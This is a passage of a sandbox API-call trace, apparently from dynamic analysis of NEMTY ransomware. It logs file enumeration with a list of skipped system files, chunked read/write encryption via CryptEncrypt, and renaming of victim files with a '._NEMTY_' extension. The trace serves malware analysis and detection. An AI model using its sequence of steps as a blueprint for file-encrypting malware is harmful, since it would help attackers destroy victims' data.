lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.747] CloseHandle (hObject=0xffffffff) returned 0 [0057.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.748] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png._nemty_kgobjgd_")) returned 0 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.748] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2=".") returned 1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="..") returned 1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="...") returned 1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="windows") returned -1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="$RECYCLE.BIN") returned 1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="rsa") returned -1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="NTDETECT.COM") returned -1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="ntldr") returned -1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="MSDOS.SYS") returned -1 [0057.748] lstrcmpiW (lpString1="content-background.png", lpString2="IO.SYS") returned -1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="boot.ini") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="boot.ini") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="ntuser.dat") returned -1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="desktop.ini") returned -1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="CONFIG.SYS") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="RECYCLER") returned -1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="BOOTSECT.BAK") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="bootmgr") returned 1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="programdata") returned -1 [0057.749] lstrcmpiW (lpString1="content-background.png", lpString2="appdata") returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.749] Sleep (dwMilliseconds=0x5) [0057.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd613c850, dwHighDateTime=0x1d561e7)) [0057.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd613c850, dwHighDateTime=0x1d561e7)) [0057.769] GetLastError () returned 0x5 [0057.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.769] GetLastError () returned 0x5 [0057.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.769] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.769] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.770] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.770] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="sqCoALDLxg9Swcx0dKX/HYAzOB/YNaIYeVQdOf9icGDm1pCen4Uu5YdZwoby+pYB\r\ndgTOhM4omXhDQUh9XlJJUDpAvqznMWxgiUwf88IAo69OyTwEnfxl/IsokbTd3ewf\r\nPlJHP7nI9bnd3hVYLgBYu7mcf72uiDJNMPEdXcmHA0DSy256sUWyPHouo6tRu+w0\r\np1Yg5AmPy1xZKldIXgCJqhpdRMhTw6odMH/LpjlI7J0fG0jnGTWoGUyzwwkhLhX4\r\nx+ClpSaeSYBHmZ64/HNuoc00F6s7Lan1iT9kDIT9kL6KkdQJxrKkQqnjoifF/qdf\r\nBmdQXUVLgZbL9DxMJggmNw==\r\n", pcchString=0x653e91c) returned 1 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.770] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.770] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.770] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.826] 